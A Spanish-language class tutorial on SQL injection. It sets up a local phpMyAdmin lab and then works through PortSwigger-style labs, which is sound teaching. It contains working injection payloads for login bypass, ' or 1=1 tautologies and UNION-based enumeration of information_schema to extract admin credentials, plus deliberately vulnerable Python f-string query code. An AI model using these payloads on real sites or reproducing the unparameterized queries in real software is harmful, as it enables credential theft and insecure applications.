Clase Sql injection

Table of Contents

Que voy a usar

  • Algunos de los laboratorios de portswigger (https://portswigger.net/web-security/sql-injection).
    • Retrieving hidden data
    • Subverting application logic
    • Examining the database in SQL injection attacks ( listing the contents of the database )
  • Laboratorio phpmyadmin

Entendiendo sql y laboratorio de pruebas

Laboratorio

Para el laboratorio de pruebas voy a hacer uso de phpmyadmin que no es mas que una herramienta escrita en php para administrar MySQL. Para ello, comenzaríamos instalando apache2 y php. Haciendo uso de la terminal, introduciríamos lo siguiente:

Apache2 y php

sudo apt install apache2
sudo apt install php

A continuación, instalaríamos mysql-server.

Mysql-Server

sudo apt install mysql-server

Ahora necesitaríamos crear un usuario con una contraseña en mysql para poder acceder luego a mysql. Desde la terminal pondríamos lo siguiente:

sudo mysql -u root -p

Tras esto nos preguntaría por la contraseña en donde únicamente tendríamos que pulsar enter.

2021-10-30_22-15-22_screenshot.png

Dentro de la consola de mysql, tenemos que crearnos un usuario el cual luego utilizaremos para acceder a phpmyadmin. Para ello realizaríamos lo siguiente:

CREATE USER 'rsgbengi'@localhost' IDENTIFIED BY '123';
GRANT ALL ON *.* TO 'rsgbengi'@'localhost';
FLUSH PRIVILEGES;

Tras esto saldríamos de la consola de mysql poniendo exit.

A continuación, reiniciaríamos el servicio mediante el siguiente comando:

service mysql restart

Phpmyadmin

Tras realizar esto, pasaríamos a instalar phpmyadmin. Una vez más, desde la terminal:

sudo apt install phpmyadmin

A continuación se nos irá preguntando información sobre la instalación tal y como vemos en las siguientes imágenes:

2021-10-30_22-19-07_screenshot.png

2021-10-30_22-19-21_screenshot.png

En la siguiente pondríamos la contraseña que hemos puesto a nuestro usuario de mysql siendo enn este caso 123.

2021-10-30_22-19-37_screenshot.png

2021-10-30_22-20-29_screenshot.png

Finalmente tenemos que configurar phpmyadmin para que funcione con apache2. Para ello:

nano /etc/apache2/apache2.conf

Y al final del archivo, pondríamos lo siguiente:

2021-10-30_22-21-54_screenshot.png

Finalmente reiniciaríamos apache2:

service apache2 restart

Si buscamos por http://localhost/phpmyadmin en firefox, tendríamos que visualizar lo siguiente:

2021-10-30_22-23-42_screenshot.png

Creación del esquema y tabla users

Dentro de phpmyadmin pulsaríamos new (a la izquierda justo encima de clase) para añadir una nuevo esquema de base de datos lo podéis llamar como queráis yo lo voy a llamar pruebas:

2021-10-30_22-28-56_screenshot.png

Hacemos doble click en el nuevo esquema creado y procedemos a crear la tabla users. Tras poner el nombre, le daríamos a go.

2021-10-30_22-30-51_screenshot.png

Creamos las columnas dejando la siguiente configuración:

2021-10-30_22-47-36_screenshot.png

Finalmente le daríamos a save y ya tendríamos nuestra tabla para hacer pruebas:

2021-10-30_22-34-16_screenshot.png

Pulsando doble click en ella y dirigiéndonos al apartado sql podríamos empezar a ejecutar sentencias sql :).

Tutorial sql basico

Primeramente rellenamos la table de users con la siguiente información para poder hacer pruebas:

INSERT INTO `users`(`username`, `password`,`email`) VALUES ("administrator","supersecurepasswd","admin@gmail.com");
INSERT INTO `users`(`username`, `password`,`email`) VALUES ("Cangrejo","Bermejo","cangrejo@gmail.com");
INSERT INTO `users`(`username`, `password`,`email`) VALUES ("DeathChron","Evil","death@gmail.com");
INSERT INTO `users`(`username`, `password`,`email`) VALUES ("Isma","esbuenaladelvasodeagua","noob@gmail.com");

Realizamos a continuación la prueba mediante la visualización de todas las columnas(\*) de la tabla USERS.

SELECT * from USERS;

Tras realizar la sentencia el resultado seria el siguiente:

2021-10-30_22-53-01_screenshot.png

Si nosotros lo que quisiéramos sería ver toda la información del usuario administrador entonces realizaríamos lo siguiente:

SELECT * FROM `users` WHERE username='administrator'

Esto nos daría como resultado solo el usuario y contraseña del administrador:

2021-10-30_22-55-26_screenshot.png

Ahora imaginemos que solo quiero devolver el usuario, entonces, ¿ Cómo lo haríamos ?

 SELECT username FROM `users` where username='administrator'

Resultado:

2021-10-30_15-49-05_screenshot.png

Ataque al panel de login

Nuestro objetivo es manipular la entrada que se proporciona al usuario para realizar sentencias sql maliciosas con las cuales tomar información. En el siguiente login un usuario introduciría su nombre de usuario y contraseña para verificar el acceso.

2021-10-30_23-07-40_screenshot.png

Por detrás podemos imaginemos que se esta ejecutando lo siguiente:

username = request.form.get("username")
password = request.form.get("password")
try:
    email = db.session.execute(
        f"Select email from users where username ='{username}' and password = {password}"
    ).fetchone()

Este código simplemente toma el nombre de usuario y contraseña introducidos para ejecutar un sentencia sql que va a devolver el email correspondiente. Esto esta muy bién pero como atacantes, ¿ Qué podríamos hacer ?. Pues bien, nuestro objetivo es insertar datos en los campos username o password de tal manera que seamos capaces de ejecutar la sentencia sql que nosotros queremos. Por ejemplo, ¿Qué pasaría si insertáramos una comilla en el campo username?.

2021-10-30_23-14-03_screenshot.png

El servidor nos devuelve un error de sentencia, esto es debido a que se estaría ejecutando lo siguiente:

 email = db.session.execute(
        f"Select email from users where username =''' and password = {noseejecuta}"
    ).fetchone()



Si nos vamos a nuestro laboratorio de sql y intentamos ejecutar la sentencia, vemos como se nos esta reportando error ya que la sintaxis no es correcta:

2021-10-30_23-16-50_screenshot.png

Lo que tiene que quedar claro hasta aquí es que si provocamos un error en el servidor al intentar introducir código sql estamos muy probablemente ante un reto de sql injection

¿Cómo podríamos aprovechar este fallo a nuestro favor ?

Nuestro objetivo es pasar el login siendo administradores por lo que ¿Por qué no intentar logearnos como administrador ? Para ello, tendríamos que intentar que el servidor nos ejecutara lo siguiente:

 email = db.session.execute(
        f"Select email from users where username ='administrator' -- -' and password = {noseejecuta}"
    ).fetchone()



Tendríamos que poner el usuario con el cual queremos acceder y comentar el resto de código ya que no nos interesa. Gracias al comentario, conseguiríamos que el servidor no provocará un error. En nuestro laboratorio:

2021-10-30_23-24-16_screenshot.png

Como podemos ver no se muestra ningún error debido a que estamos comentando el resto del código haciendo que no se ejecute. Ahora si lo probamos en el login de la página web:

2021-10-30_23-25-35_screenshot.png

Conseguiríamos acceder como administradores:

2021-10-30_23-26-07_screenshot.png

Obtener información oculta

Añadimos tabla al laboratorio

Para crear la tabla, seleccionamos el esquema de base de datos pruebas creado anteriormente y le damos a New. Tras esto, ponemos lo siguiente:

2021-11-05_12-22-39_screenshot.png

Tras esto, seleccionaríamos la tabla y ejecutaríamos las siguientes sentencias:

INSERT INTO `items`(`name`, `category`,`released`) VALUES ("The lazy dog","Pets",1);
INSERT INTO `items`(`name`, `category`,`released`) VALUES ("Fur Babies","Pets",0);
INSERT INTO `items`(`name`, `category`,`released`) VALUES ("Cheshire Cat Grin","Accessories",1);
INSERT INTO `items`(`name`, `category`,`released`) VALUES ("Hydrated Crackers","Food & drink",1);

Hacemos prueba de que todas las tablas se han ejecutado mediante:

Select * from `items`

Visualizaríamos lo siguiente:

2021-11-05_12-24-37_screenshot.png

Ataque

Muchas veces lo que se nos pide es encontrar información oculta que normalmente no deberíamos poder ver. Para ello, se suelen utilizar los operadores or o and. Una vez más, supongamos que tenemos la siguiente página web en donde podemos visualizar productos:

2021-10-31_12-55-39_screenshot.png

Si pinchamos, por ejemplo, en pets entonces únicamente se nos mostrarían los productos que pertenecen a dicha categoría y si vemos en la url nos aparecería lo siguiente:

2021-10-31_12-57-31_screenshot.png

Por detrás, la aplicación web estaría haciendo algo como lo siguiente:

category = request.form.get("category")# En nuestro caso esto sería Pets
try:
    items_info_from_category = db.session.execute(
        f"Select * from items where category = '{category}' and released=1"
    ).fetchone()

Si nos vamos a nuestro laboratorio, podemos replicar lo que se esta ejecutando:

    Select * from items where category = 'Pets' and released=1

Se nos mostraría la información relacionada con la categoría seleccionada:

2021-11-05_12-25-31_screenshot.png

Esto esta bien, pero, ¿Cómo podríamos obtener información que no se nos debería mostrar ?. Supongamos que como usuarios introducimos lo siguiente:

2021-10-31_13-20-27_screenshot.png

Traducido en la aplicación de ejemplo que hemos puesto, sería lo siguiente:

category = request.form.get("category")# En nuestro caso esto sería Pets
try:
    items_info_from_category = db.session.execute(
        f"Select * from items where category = '{' or 1=1 -- -}' and released = 1"
    ).fetchone()

Que, si nos lo llevamos a nuestro laboratorio, sería lo siguiente:

2021-11-05_12-27-25_screenshot.png

Se nos vuelca toda la tabla sin introducir ninguna categoría específica, esto es debido a que la consulta nos devuelve o bien una categoría que no existe (’’) o bien 1=1. Como 1=1 es siempre verdadero, entonces siempre nos va a devolver toda la tabla.

2021-10-31_13-23-50_screenshot.png

Examinar base de datos para obtener información

Esta vez nuestro objetivo va a ser obtener las credenciales del usuario administrador. Vamos a orientarlo a mysql no obstante tened en cuenta que si estamos ante otra tipo de motor base de datos como pueda ser oracle la metodología cambiaría.

Información de sql importante que tenemos que saber

Order by

Order by nos permite ordenar una tabla en base a una columna. Un ejemplo sería:

    select * from items order by category -- - Esto también se podría poner como order by 2

Visualizaríamos lo siguiente(ordenada alfabéticamente en base a la categoría ):

2021-11-05_12-43-13_screenshot.png

En sql injection nos va a interesar para saber cuantas columnas tiene una tabla. En la página vulnerable por ejemplo si introducimos lo siguiente:

2021-10-31_13-33-13_screenshot.png

Entonces se nos mostraría un error en el servidor debido a que la tabla no tiene una tercera columna.

2021-10-31_13-34-09_screenshot.png

No obstante si ponemos lo siguiente:

    Pets' order by 2 -- -

Entonces no se nos mostraría ningún error:

2021-10-31_13-36-30_screenshot.png

Union

Union es una opción que nos permite realizar dos sentencias sql en 1 siempre y cuando la segunda sentencia devuelva el mismo número de columnas que la primera. Luego en nuestro laboratorio, si ponemos lo siguiente:

SELECT name FROM `items` union select category from `items`

Se nos devolvería lo siguiente(ambas sentencias devuelven únicamente una columna):

2021-10-31_13-54-42_screenshot.png

Enumerar tipo de la columna

Para saber de que tipo es la columna, simplemente tenemos que probar que nos da error a la hora de seleccionar la columna que queremos visualizar. Normalmente, se suele usar NULL debido a que suele ser compatible con todos los tipos por lo que no dará error. Luego en la página vulnerable si ponemos:

    Pets' union select NULL,1 -- -

Nos va a dar un error debido a que la segunda columna no admite tipo integer. No obstante, si introducimos algo como lo siguiente:

    Pets' union select NULL,"hola" -- -

Entonces veremos que no nos ocasiona ningún error por lo que sabemos que la segunda columna lo que admite es varchar.

Conseguir tablas de la base de datos

Para conseguir información sobre las tablas dentro de una base de datos tenemos que hacer uso de la base de datos information_schema tal y como vemos en nuestro laboratorio:

2021-11-01_11-39-44_screenshot.png

Como nuestro objetivo es conseguir las tablas tendríamos que hacer la siguiente consulta:

    select * from information_schema.tables;

Y se nos mostraría la siguiente información:

2021-11-01_11-43-13_screenshot.png

Si vamos al final, podemos visualizar las tablas que hemos ido creando anteriormente:

2021-11-01_11-47-17_screenshot.png

Luego en el ataque estábamos creando podríamos intentar algo como esto para visualizar las tablas:

Accessories' union select NULL,table_name from information_schema.tables -- -

Se nos mostrarían todas las tablas de la máquina objetivo en donde podemos visualizar una que se llama users_jwqmff (si lo hacéis en caso vuestro nombre puede cambiar sera users_loquesea):

2021-11-01_13-02-40_screenshot.png

Conseguir columnas de la tabla users

information_schema también cuenta con una tabla para enumerar columnas la cual se llama information_schema.columns. Luego si realizamos la siguiente sentencia en nuestro laboratorio se nos mostrarían todas las columnas disponibles:

    select *  from information_schema.columns

Tras esto se nos mostraría lo siguiente:

2021-11-01_13-00-17_screenshot.png

Luego si aplicamos esto y insertamos lo siguiente(esto sería en la url):

Accessories' union select NULL,column_name from information_schema.columns where table_name='users_jwqmff'-- -

Como vemos en la siguiente imagen se nos mostrarían las columnas:

2021-11-01_13-04-32_screenshot.png

Conseguimos usuario y contraseña

Finalmen te conseguir el usuario y contraseña es sencillo, seria hacer una consulta normal con los datos que hemos recogido hasta el momento:

Accessories' union select username_vxyhzg,password_jtgova from users_jwqmff -- -

Consiguiendo de esta manera el usuario administrador:

2021-11-01_13-07-53_screenshot.png

¿Donde puedo sacar información para atacar vulnerabilidades web ?

Como he dicho antes, depende de la base de datos que estemos atacando las consultad son diferentes. No es necesario aprendérselo todo de memoria ya que contamos con buena información en sitios como PayloadsAllTheThings (https://github.com/swisskyrepo/PayloadsAllTheThings) en donde contamos con un montón de información sobre como atacar vulnerabilidades web.

SQLMap para automatizar el ataque

SQLMap(https://github.com/sqlmapproject/sqlmap) es una herramienta que permite automatizar los ataques de sql-injection y debido a esto en ctfs viene muy bien ya que el tiempo es oro en este tipo de competiciones. Como vemos en la imagen inferior, prueba con diferentes aproximaciones que existen para realizar sql-injection.

2021-11-01_13-17-39_screenshot.png

Author: Rubén Santos

Created: 2021-11-06 Sat 17:39